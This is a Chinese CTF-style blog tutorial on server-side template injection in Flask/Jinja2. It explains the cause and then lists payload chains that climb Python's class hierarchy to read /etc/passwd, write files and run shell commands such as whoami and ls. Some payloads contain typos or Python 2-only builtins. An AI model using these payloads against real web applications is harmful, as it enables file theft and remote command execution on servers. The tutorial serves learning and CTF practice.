0%

SSTI注入

SSTI注入

又称服务器端模板注入攻击,和sql注入类似,也是用户输入而造成的安全问题。

下面是基于python脚本编写的SSTI漏洞。

模板引擎的作用:实现php代码和html代码分离。

原理:

服务器接收了用户的输入,没有对输入的代码过滤或过滤不完全,将用户输入作为web应用模板的一部分,在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露等等。。。

flask中渲染的方法有两种:

render_template 渲染文件

render_template_string 渲染字符串

不正确使用render_template_string会导致SSTI

了解一下python的基本知识:

__class__ //返回类型所属的对象

__mro__ //返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析

__base__ //返回该对象所继承的基类

//base和mro都是用来寻找基类的

__subclasses__ //每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的引用的列表。

__init__ 类的初始化方法

__globals__: 对包含函数全局变量的字典的引用

攻击流程

在 CTF 中,最常见的也就是 Jinja2 的 SSTI 漏洞了。

获取基本类

1
2
3
4
5
6
7
8
9
''.__class__.__mro__[2]

{}.__class__.__bases__[0]

().__class__.__bases__[0]

[].__class__.__bases__[0]

request.__class__.mro__[8]//针对jinjia2/flask为[9]适用

获取基本类(object)的子类

object.__subclasses__()

''.__class__.__mro__[2].__subclasses()

找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

''.__class__.__mro__.__subclasses__()[xx].__init__

查看其引用_builtins_

builtins即为引用,python一旦启动,就会在程序员所写的代码没有运行就被加载到内存中,builtins不用导入,在任何模块都有,所以直接引用。

''.__class__.__mor__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('x://Flag.txt').read()

读写文件

方法一

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件

方法二

存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可

''.__class__.__mro__[2].__subclasses__().index(file)如返回xx

[].__class__.__base__.__subclasses__()[xx]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

命令执行

利用eval进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

利用warnings.catch_warnings进行命令执行

[].__class__.__base__.__subclasses__().index(warning.catch_warnings)

返回a

查看linecache位置

[].__class__.base__.__subclasses__()[a].__init__.__globals__.keys.index('linecache')

返回b

查找os模块的位置

[].__class__.__base__.__subclasses__()[a].__init__.globals__['linecache'].__dict__.keys().index('os')

返回c

查找system方法的位置

[].__class__.__base__.__subclasses__()[a].__init__.__globals__['linecache'].__dict__.values()[c].__dict__.keys().index('system')

返回d

调用system方法

[].__class__.__base__.__subclasses__()[a].__init__.__globals__['linecache'].__dict__.values()[c].__dict__.values()[d]('whoami')

利用commands进行命令执行

1
2
3
4
5
6
7
{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__.__builtins__.__import__('os').popen('flag').read()


参考:https://www.yuque.com/jxswcy/ctfnotebook/tdxk3n

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道